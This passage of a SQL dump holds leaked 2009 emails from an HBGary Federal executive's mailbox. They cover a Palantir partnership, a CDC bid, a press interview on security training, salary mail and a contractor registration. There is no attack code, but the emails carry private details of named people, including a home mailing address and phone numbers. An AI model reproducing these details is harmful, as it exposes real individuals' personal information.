http://www.sunbeltsoftware.com\r\n\r\nSunbeltLabs presentation: http://tinyurl.com/mq2jsq \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n...\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3672,'aaron_hbgary_com/3672.html'),(775,'2009-12-21','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000058.M774060P3547Q775.eml','\"Aaron Barr\" <aaron@hbgary.com>','CIMS CDC stuff','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nIm working on putting together some partnership paperwork\r\nfor the EOP opportunity I told you about.&nbsp; In the mean time, my Health team is\r\nvery interested in getting on a bid team for the CIMS CDC RFP you told me\r\nabout.&nbsp; Do you think you could introduce us to your prime?\r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6736,'aaron_hbgary_com/6736.html'),(776,'2009-12-21','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000059.M19224P3547Q776.eml','\"Aaron Barr\" <aaron@hbgary.com>','Palantir partnership','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nAttached is our official\r\npartnership paperwork to start integration work for EOP (and potentially many\r\nother places).&nbsp; Please return a redlined copy or a signed agreement. &nbsp;You&#8217;ll\r\nnotice that this is a free deal if the integration is performed within 60 days\r\nof signing the agreement.\r\n\r\n&nbsp;\r\n\r\nLooking forward to working with\r\nyou guys.\r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13387,'aaron_hbgary_com/13387.html'),(777,'2009-12-21','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000059.M219665P3547Q777.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Salary','I think DeeAnn sent it to your place in VA, sorry.  I was in DC so I\r\ndidn\'t do the fedex\'g  I know Ted got his\r\n\r\nOn Fri, Dec 18, 2009 at 2:41 PM, Aaron Barr  wrote:\r\n> Hi Penny,\r\n>\r\n> Ted said something about fedexing our paycheck.  Can u please send to:\r\n> 351 W. Oak St\r\n> Aviston? IL? 62216\r\n> USA\r\n>\r\n> That is where I will be for the holidays starting on Monday.\r\n>\r\n> Thanks,\r\n> Aaron\r\n>\r\n>\r\n>  From my iPhone\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',11226,'aaron_hbgary_com/11226.html'),(778,'2009-12-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000059.M415540P3547Q778.eml','\"Penny Leavy\" <penny@hbgary.com>','Re: Salary','No worries.  It will be there when I get back.  Mail wasn\'t delivered\r\nSaturday.  Palantir partnership paperwork came in today.  That and\r\nxetron sponsoring our clearances and wanting to partner on upcoming\r\nwork... Good day.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 21, 2009, at 5:18 PM, Penny Leavy  wrote:\r\n\r\n> I think DeeAnn sent it to your place in VA, sorry.  I was in DC so I\r\n> didn\'t do the fedex\'g  I know Ted got his\r\n>\r\n> On Fri, Dec 18, 2009 at 2:41 PM, Aaron Barr  wrote:\r\n>> Hi Penny,\r\n>>\r\n>> Ted said something about fedexing our paycheck.  Can u please send\r\n>> to:\r\n>> 351 W. Oak St\r\n>> Aviston? IL? 62216\r\n>> USA\r\n>>\r\n>> That is where I will be for the holidays starting on Monday.\r\n>>\r\n>> Thanks,\r\n>> Aaron\r\n>>\r\n>>\r\n>>  From my iPhone\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n',9726,'aaron_hbgary_com/9726.html'),(779,'2009-12-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000059.M604954P3547Q779.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>,\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: CIMS CDC stuff','Hi Matt,Absolutely. &nbsp;Ted has been working the CIMS contract (cc\'d here) &nbsp;he can fill you in on the details.AaronOn Dec 21, 2009, at 5:26 PM, Matthew Steckman wrote:Aaron,&nbsp;Im working on putting together some partnership paperwork for the EOP opportunity I told you about.&nbsp; In the mean time, my Health team is very interested in getting on a bid team for the CIMS CDC RFP you told me about.&nbsp; Do you think you could introduce us to your prime?&nbsp;-Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10769,'aaron_hbgary_com/10769.html'),(780,'2009-12-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000059.M809797P3547Q780.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','EOP Integration Work','Greg,\r\n\r\nThis will be a good integration case for us I think to work out the details of how we will do this more frequently going forward.  Can we set up a conference call today or tomorrow for the 4 of us to discuss the Executive Office of the President work.  I have the partnership agreement from Palantir that I am reviewing now.  The first thing that needs to be done is the integration of HBGary products with Palantir products.  I would like to sub that work out to Martin if he is available.  One of the talking points.  I am pretty flexible so let me know what time works.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10036,'aaron_hbgary_com/10036.html'),(781,'2009-12-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000060.M310879P3547Q782.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fwd: Palantir partnership','FYI.  Partnership agreement with Palantir.  First glaring correction is to change HBGary to HBGary Federal.  Reviewing the rest now.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Matthew Steckman \r\n> Date: December 21, 2009 6:01:57 PM EST\r\n> To: Aaron Barr \r\n> Subject: Palantir partnership\r\n> \r\n> Aaron,\r\n>  \r\n> Attached is our official partnership paperwork to start integration work for EOP (and potentially many other places).  Please return a redlined copy or a signed agreement.  You’ll notice that this is a free deal if the integration is performed within 60 days of signing the agreement.\r\n>  \r\n> Looking forward to working with you guys.\r\n>  \r\n> -Matt\r\n>  \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15555,'aaron_hbgary_com/15555.html'),(782,'2009-12-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000060.M57828P3547Q781.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Palantir partnership','\r\n\r\nBegin forwarded message:\r\n\r\n> From: Matthew Steckman \r\n> Date: December 21, 2009 6:01:57 PM EST\r\n> To: Aaron Barr \r\n> Subject: Palantir partnership\r\n> \r\n> Aaron,\r\n>  \r\n> Attached is our official partnership paperwork to start integration work for EOP (and potentially many other places).  Please return a redlined copy or a signed agreement.  You’ll notice that this is a free deal if the integration is performed within 60 days of signing the agreement.\r\n>  \r\n> Looking forward to working with you guys.\r\n>  \r\n> -Matt\r\n>  \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1793,'aaron_hbgary_com/1793.html'),(783,'2009-12-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000060.M798341P3547Q783.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: GCN Story On Enduser IT SecurityTraining','Begin forwarded message:From: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Date: December 21, 2009 2:25:45 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: GCN Story On Enduser IT SecurityTrainingThis is great Aaron -- thanks. Let me go back to the reporter to see if we could possibly set up an interview after the holidays. I\'ll let you know if he is interested either way. Best, K--- On Sun, 12/20/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: GCN Story On Enduser IT SecurityTrainingTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Sunday, December 20, 2009, 7:29 PM\r\nHi Karen,\r\n\r\nSorry for delay. &nbsp;I am sure I can address training in an interview although its not my primary strong suite. &nbsp;I have spent a lot of time at the national CERTS over the last few years and can tell you that training in any measurable way just isn\'t happening. &nbsp;For those organizations that have periodic training, its just a check box, there is no associated metrics to follow the progress or adherence of the trainees to the training. &nbsp;Anyway I can provide a lot more information if needed.\r\n\r\nCertifications I think are the most used measure of an IT security professionals skill level. &nbsp;In some cases their may be some positional OJT and associated certification and that may come with a periodic review but that is the most I have seen, and thats rare.\r\n\r\nBut u mentioned end user security training. &nbsp;Thats even worse. &nbsp;Best you see is periodic refresher training with a multiple choice quiz that usually lets you reselect your answers after you get them wrong.\r\n\r\nIT Security training just has not been taken seriously enough. &nbsp;In the classified world you are trained on the proper methods and procedures for taking care of classified information, and if you mishandle classified information, depending on the severity you can get your clearance revoked and loose your job. &nbsp;This doesn\'t happen for IT security, even though what can be lost by a single employee improperly using their organizations IT systems can be just as damaging to the organization.\r\n\r\nImpact of training can be measured, when paired with penetration and vulnerability assessements, on the hardened state of the systems. &nbsp;How many user names and passwords could a pen tester acquire. &nbsp;How many systems could they penetrate. &nbsp;Conduct training and then a few months later retest the organizations security posture. &nbsp;That is one of the only true ways to measure success in the IT security world.\r\n\r\nIn the future I believe one of the answers to the security dilemma is Digital Rights Management (DRM) capability on every machine. &nbsp;The DRM applications will monitor the health and status, including security posture for the system and will have the ability to lock down or move services if the security state changes. &nbsp;These sensors will monitor activity on the systems and network for anything that looks suspicious.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 18, 2009, at 11:53 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Government Computer News&nbsp;editor John Moore is writing a&nbsp;security feature for the Jan. 25 issue on the&nbsp;topic&nbsp;of end user IT security training. For example, the story will discuss how organizations measure the impact of training and whether employees are following through (adhering to agency security policies.)\r\n&nbsp;\r\nIs this a topic you could address in an interview? If so, please provide a few quick bullet points that I could share with the writer to possibly secure an interview.\r\n&nbsp;\r\nThanks Aaron. Best, Karen\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9487,'aaron_hbgary_com/9487.html'),(784,'2009-12-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000061.M74592P3547Q784.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Palantir partnership','Thanks Matt,Reviewing now. &nbsp;Main thing I notice is changing the name HBGary to HBGary Federal LLC, a California based company. &nbsp;I should get the rest reviewed and back to you sometime today. &nbsp;Also, if you have some PPT material that I can start to integrate over the holidays and then we can review.AaronOn Dec 21, 2009, at 6:01 PM, Matthew Steckman wrote:Aaron,&nbsp;Attached is our official partnership paperwork to start integration work for EOP (and potentially many other places).&nbsp; Please return a redlined copy or a signed agreement. &nbsp;You’ll notice that this is a free deal if the integration is performed within 60 days of signing the agreement.&nbsp;Looking forward to working with you guys.&nbsp;-Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;&lt;P3 HBGary.docx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10305,'aaron_hbgary_com/10305.html'),(785,'2009-12-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000062.M61655P3547Q785.eml','\"Ted Vera\" <ted@hbgary.com>','Hbgay juicy fruit','We need to provide info on 12 monkeys and related JF asap for UNO\r\nproposal.\r\n\r\nWe have that right?\r\n\r\nDo we have 12 monkeys?\r\n\r\nCall me when u get a chance.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',16598,'aaron_hbgary_com/16598.html'),(786,'2009-12-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000063.M449043P3547Q786.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Barr Aaron\" <aaron@hbgary.com>','Tool Summaries','Brian,Attached are the tool summaries that I have prepared.  I have a few more that I need to write up and will forward to you later.Ted\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',10004,'aaron_hbgary_com/10004.html'),(787,'2009-12-22','CCRemail@bpn.gov','/aaron@hbgary.com/new/1297000063.M652980P3547Q787.eml','aaron@hbgary.com','CCR Confirmation DUNS 832950831','Dear CCR Registrant:   \r\n\r\nCongratulations! Your registration in the Central Contractor Registration (CCR) system has been accepted.\r\n\r\nTo view the status of your registration or to obtain your CAGE Code, go to https://www.bpn.gov/ccr/ at any time and select \"CCR Search\". Simply type in your DUNS number, select \"List all vendors\", and then click \"Search\" to view your Trading Partner Profile (TPP).\r\n\r\nOr\r\n\r\nYou may also view your registration status or obtain your CAGE Code by going into your user account page and reviewing \"CAGE\" and \"Status\".  Note: If you have chosen to opt out from displaying your company information on the CCR Public Search page, you will have to use this option to review your status.\r\n\r\nPlease note that you are responsible for the maintenance and accuracy of your registration, and it must be renewed at least annually. \r\n\r\nIf you have questions, please contact CCR at http://www.bpn.gov/ccr/Help.aspx or by telephone at 866-606-8220.  Dial 334-206-7828 for international calls.  For DSN, dial 809-463-3376, wait for a dial tone, and then dial 866-606-8220.\r\n\r\nPlease add our \"from\" email address, ccremail@bpn.gov to your address book and safe lists to ensure that your CCR email is not blocked by a filter.\r\n\r\nThank you,\r\nThe CCR Group\r\nwww.ccr.gov\r\n\r\n\r\nCC-EWE                                                                                                                                                                                                              \r\n',8653,'aaron_hbgary_com/8653.html'),(788,'2009-12-22','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000063.M842076P3547Q788.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: GCN Story On Enduser IT SecurityTraining','Hi Aaron, I secured an interview with you and GCN editor John Moore for this story below. He wanted to see if you would be available next Monday, Dec. 28th&nbsp;or Tuesday, Dec. 29th -- are you working next week? I know the timing is tought due to holiday. If you aren\'t available, &nbsp;I can see if he&nbsp;could it the week of Jan. 4th. \r\n&nbsp;\r\nI would prepare a briefing sheet for the interview i.e. background on publication, author, etc. Best, Karen&nbsp;--- On Sun, 12/20/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: GCN Story On Enduser IT SecurityTrainingTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Sunday, December 20, 2009, 7:29 PM\r\nHi Karen,\r\n\r\nSorry for delay. &nbsp;I am sure I can address training in an interview although its not my primary strong suite. &nbsp;I have spent a lot of time at the national CERTS over the last few years and can tell you that training in any measurable way just isn\'t happening. &nbsp;For those organizations that have periodic training, its just a check box, there is no associated metrics to follow the progress or adherence of the trainees to the training. &nbsp;Anyway I can provide a lot more information if needed.\r\n\r\nCertifications I think are the most used measure of an IT security professionals skill level. &nbsp;In some cases their may be some positional OJT and associated certification and that may come with a periodic review but that is the most I have seen, and thats rare.\r\n\r\nBut u mentioned end user security training. &nbsp;Thats even worse. &nbsp;Best you see is periodic refresher training with a multiple choice quiz that usually lets you reselect your answers after you get them wrong.\r\n\r\nIT Security training just has not been taken seriously enough. &nbsp;In the classified world you are trained on the proper methods and procedures for taking care of classified information, and if you mishandle classified information, depending on the severity you can get your clearance revoked and loose your job. &nbsp;This doesn\'t happen for IT security, even though what can be lost by a single employee improperly using their organizations IT systems can be just as damaging to the organization.\r\n\r\nImpact of training can be measured, when paired with penetration and vulnerability assessements, on the hardened state of the systems. &nbsp;How many user names and passwords could a pen tester acquire. &nbsp;How many systems could they penetrate. &nbsp;Conduct training and then a few months later retest the organizations security posture. &nbsp;That is one of the only true ways to measure success in the IT security world.\r\n\r\nIn the future I believe one of the answers to the security dilemma is Digital Rights Management (DRM) capability on every machine. &nbsp;The DRM applications will monitor the health and status, including security posture for the system and will have the ability to lock down or move services if the security state changes. &nbsp;These sensors will monitor activity on the systems and network for anything that looks suspicious.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 18, 2009, at 11:53 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Government Computer News&nbsp;editor John Moore is writing a&nbsp;security feature for the Jan. 25 issue on the&nbsp;topic&nbsp;of end user IT security training. For example, the story will discuss how organizations measure the impact of training and whether employees are following through (adhering to agency security policies.)\r\n&nbsp;\r\nIs this a topic you could address in an interview? If so, please provide a few quick bullet points that I could share with the writer to possibly secure an interview.\r\n&nbsp;\r\nThanks Aaron. Best, Karen\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',6475,'aaron_hbgary_com/6475.html'),(789,'2009-12-22','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000064.M12870P3547Q789.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Salary','Awesome news.  Were  you on the webex with Responder Pro?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, December 21, 2009 6:14 PM\r\nTo: Penny Leavy\r\nSubject: Re: Salary\r\n\r\nNo worries.  It will be there when I get back.  Mail wasn\'t delivered\r\nSaturday.  Palantir partnership paperwork came in today.  That and\r\nxetron sponsoring our clearances and wanting to partner on upcoming\r\nwork... Good day.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 21, 2009, at 5:18 PM, Penny Leavy  wrote:\r\n\r\n> I think DeeAnn sent it to your place in VA, sorry.  I was in DC so I\r\n> didn\'t do the fedex\'g  I know Ted got his\r\n>\r\n> On Fri, Dec 18, 2009 at 2:41 PM, Aaron Barr  wrote:\r\n>> Hi Penny,\r\n>>\r\n>> Ted said something about fedexing our paycheck.  Can u please send\r\n>> to:\r\n>> 351 W. Oak St\r\n>> Aviston? IL? 62216\r\n>> USA\r\n>>\r\n>> That is where I will be for the holidays starting on Monday.\r\n>>\r\n>> Thanks,\r\n>> Aaron\r\n>>\r\n>>\r\n>>  From my iPhone\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n\r\n',11157,'aaron_hbgary_com/11157.html'),(790,'2009-12-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000064.M196662P3547Q790.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: GCN Story On Enduser IT SecurityTraining','From my iPhoneBegin forwarded message:From: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: December 22, 2009 12:59:48 PM CSTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: GCN Story On Enduser IT SecurityTraining\r\nHi Aaron, I secured an interview with you and GCN editor John Moore for this story below. He wanted to see if you would be available next Monday, Dec. 28th or Tuesday, Dec. 29th -- are you working next week? I know the timing is tought due to holiday. If you aren&#39;t available,  I can see if he could it the week of Jan. 4th. \r\n\r\n \r\nI would prepare a briefing sheet for the interview i.e. background on publication, author, etc. Best, Karen --- On Sun, 12/20/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: GCN Story On Enduser IT SecurityTraining\r\nTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;Date: Sunday, December 20, 2009, 7:29 PM\r\nHi Karen,\r\n\r\nSorry for delay.  I am sure I can address training in an interview although its not my primary strong suite.  I have spent a lot of time at the national CERTS over the last few years and can tell you that training in any measurable way just isn&#39;t happening.  For those organizations that have periodic training, its just a check box, there is no associated metrics to follow the progress or adherence of the trainees to the training.  Anyway I can provide a lot more information if needed.\r\n\r\n\r\nCertifications I think are the most used measure of an IT security professionals skill level.  In some cases their may be some positional OJT and associated certification and that may come with a periodic review but that is the most I have seen, and thats rare.\r\n\r\n\r\nBut u mentioned end user security training.  Thats even worse.  Best you see is periodic refresher training with a multiple choice quiz that usually lets you reselect your answers after you get them wrong.\r\n\r\nIT Security training just has not been taken seriously enough.  In the classified world you are trained on the proper methods and procedures for taking care of classified information, and if you mishandle classified information, depending on the severity you can get your clearance revoked and loose your job.  This doesn&#39;t happen for IT security, even though what can be lost by a single employee improperly using their organizations IT systems can be just as damaging to the organization.\r\n\r\n\r\nImpact of training can be measured, when paired with penetration and vulnerability assessements, on the hardened state of the systems.  How many user names and passwords could a pen tester acquire.  How many systems could they penetrate.  Conduct training and then a few months later retest the organizations security posture.  That is one of the only true ways to measure success in the IT security world.\r\n\r\n\r\nIn the future I believe one of the answers to the security dilemma is Digital Rights Management (DRM) capability on every machine.  The DRM applications will monitor the health and status, including security posture for the system and will have the ability to lock down or move services if the security state changes.  These sensors will monitor activity on the systems and network for anything that looks suspicious.\r\n\r\n\r\nAaron\r\n\r\n\r\nOn Dec 18, 2009, at 11:53 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Government Computer News editor John Moore is writing a security feature for the Jan. 25 issue on the topic of end user IT security training. For example, the story will discuss how organizations measure the impact of training and whether employees are following through (adhering to agency security policies.)\r\n\r\n \r\nIs this a topic you could address in an interview? If so, please provide a few quick bullet points that I could share with the writer to possibly secure an interview.\r\n\r\n \r\nThanks Aaron. Best, Karen\r\n \r\n \r\n \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n      \r\n',15713,'aaron_hbgary_com/15713.html'),(791,'2009-12-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000064.M400134P3547Q791.eml','\"Penny Hoglund\" <penny@hbgary.com>','Re: Salary','I was for most of it.  I talked to brian after and they were\r\nimpressed.  This will be a good relationship.  They are also going to\r\nopen an office near McLean and are offering us lease space in their\r\nscif if we want it.\r\n\r\n From my iPhone\r\n\r\nOn Dec 22, 2009, at 1:00 PM, \" Penny Hoglund\"  wrote:\r\n\r\n> Awesome news.  Were  you on the webex with Responder Pro?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, December 21, 2009 6:14 PM\r\n> To: Penny Leavy\r\n> Subject: Re: Salary\r\n>\r\n> No worries.  It will be there when I get back.  Mail wasn\'t delivered\r\n> Saturday.  Palantir partnership paperwork came in today.  That and\r\n> xetron sponsoring our clearances and wanting to partner on upcoming\r\n> work... Good day.\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Dec 21, 2009, at 5:18 PM, Penny Leavy  wrote:\r\n>\r\n>> I think DeeAnn sent it to your place in VA, sorry.  I was in DC so I\r\n>> didn\'t do the fedex\'g  I know Ted got his\r\n>>\r\n>> On Fri, Dec 18, 2009 at 2:41 PM, Aaron Barr  wrote:\r\n>>> Hi Penny,\r\n>>>\r\n>>> Ted said something about fedexing our paycheck.  Can u please send\r\n>>> to:\r\n>>> 351 W. Oak St\r\n>>> Aviston? IL? 62216\r\n>>> USA\r\n>>>\r\n>>> That is where I will be for the holidays starting on Monday.\r\n>>>\r\n>>> Thanks,\r\n>>> Aaron\r\n>>>\r\n>>>\r\n>>> From my iPhone\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Penny C. Leavy\r\n>> HBGary, Inc.\r\n>\r\n',4416,'aaron_hbgary_com/4416.html'),(792,'2009-12-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000064.M652348P3547Q792.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: GCN Story On Enduser IT SecurityTraining','I am on vacation in illinois but I can do am interview just let me know the time.AaronFrom my iPhoneOn Dec 22, 2009, at 12:59 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nHi Aaron, I secured an interview with you and GCN editor John Moore for this story below. He wanted to see if you would be available next Monday, Dec. 28th or Tuesday, Dec. 29th -- are you working next week? I know the timing is tought due to holiday. If you aren&#39;t available,  I can see if he could it the week of Jan. 4th. \r\n\r\n \r\nI would prepare a briefing sheet for the interview i.e. background on publication, author, etc. Best, Karen --- On Sun, 12/20/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: GCN Story On Enduser IT SecurityTraining\r\nTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;Date: Sunday, December 20, 2009, 7:29 PM\r\nHi Karen,\r\n\r\nSorry for delay.  I am sure I can address training in an interview although its not my primary strong suite.  I have spent a lot of time at the national CERTS over the last few years and can tell you that training in any measurable way just isn&#39;t happening.  For those organizations that have periodic training, its just a check box, there is no associated metrics to follow the progress or adherence of the trainees to the training.  Anyway I can provide a lot more information if needed.\r\n\r\n\r\nCertifications I think are the most used measure of an IT security professionals skill level.  In some cases their may be some positional OJT and associated certification and that may come with a periodic review but that is the most I have seen, and thats rare.\r\n\r\n\r\nBut u mentioned end user security training.  Thats even worse.  Best you see is periodic refresher training with a multiple choice quiz that usually lets you reselect your answers after you get them wrong.\r\n\r\nIT Security training just has not been taken seriously enough.  In the classified world you are trained on the proper methods and procedures for taking care of classified information, and if you mishandle classified information, depending on the severity you can get your clearance revoked and loose your job.  This doesn&#39;t happen for IT security, even though what can be lost by a single employee improperly using their organizations IT systems can be just as damaging to the organization.\r\n\r\n\r\nImpact of training can be measured, when paired with penetration and vulnerability assessements, on the hardened state of the systems.  How many user names and passwords could a pen tester acquire.  How many systems could they penetrate.  Conduct training and then a few months later retest the organizations security posture.  That is one of the only true ways to measure success in the IT security world.\r\n\r\n\r\nIn the future I believe one of the answers to the security dilemma is Digital Rights Management (DRM) capability on every machine.  The DRM applications will monitor the health and status, including security posture for the system and will have the ability to lock down or move services if the security state changes.  These sensors will monitor activity on the systems and network for anything that looks suspicious.\r\n\r\n\r\nAaron\r\n\r\n\r\nOn Dec 18, 2009, at 11:53 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Government Computer News editor John Moore is writing a security feature for the Jan. 25 issue on the topic of end user IT security training. For example, the story will discuss how organizations measure the impact of training and whether employees are following through (adhering to agency security policies.)\r\n\r\n \r\nIs this a topic you could address in an interview? If so, please provide a few quick bullet points that I could share with the writer to possibly secure an interview.\r\n\r\n \r\nThanks Aaron. Best, Karen\r\n \r\n \r\n \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n      \r\n',11551,'aaron_hbgary_com/11551.html'),(793,'2009-12-22','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000064.M833798P3547Q793.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Salary','great\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 22, 2009 11:06 AM\r\nTo: Penny Hoglund\r\nSubject: Re: Salary\r\n\r\nI was for most of it.  I talked to brian after and they were\r\nimpressed.  This will be a good relationship.  They are also going to\r\nopen an office near McLean and are offering us lease space in their\r\nscif if we want it.\r\n\r\n From my iPhone\r\n\r\nOn Dec 22, 2009, at 1:00 PM, \" Penny Hoglund\"  wrote:\r\n\r\n> Awesome news.  Were  you on the webex with Responder Pro?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, December 21, 2009 6:14 PM\r\n> To: Penny Leavy\r\n> Subject: Re: Salary\r\n>\r\n> No worries.  It will be there when I get back.  Mail wasn\'t delivered\r\n> Saturday.  Palantir partnership paperwork came in today.  That and\r\n> xetron sponsoring our clearances and wanting to partner on upcoming\r\n> work... Good day.\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Dec 21, 2009, at 5:18 PM, Penny Leavy  wrote:\r\n>\r\n>> I think DeeAnn sent it to your place in VA, sorry.  I was in DC so I\r\n>> didn\'t do the fedex\'g  I know Ted got his\r\n>>\r\n>> On Fri, Dec 18, 2009 at 2:41 PM, Aaron Barr  wrote:\r\n>>> Hi Penny,\r\n>>>\r\n>>> Ted said something about fedexing our paycheck.  Can u please send\r\n>>> to:\r\n>>> 351 W. Oak St\r\n>>> Aviston? IL? 62216\r\n>>> USA\r\n>>>\r\n>>> That is where I will be for the holidays starting on Monday.\r\n>>>\r\n>>> Thanks,\r\n>>> Aaron\r\n>>>\r\n>>>\r\n>>> From my 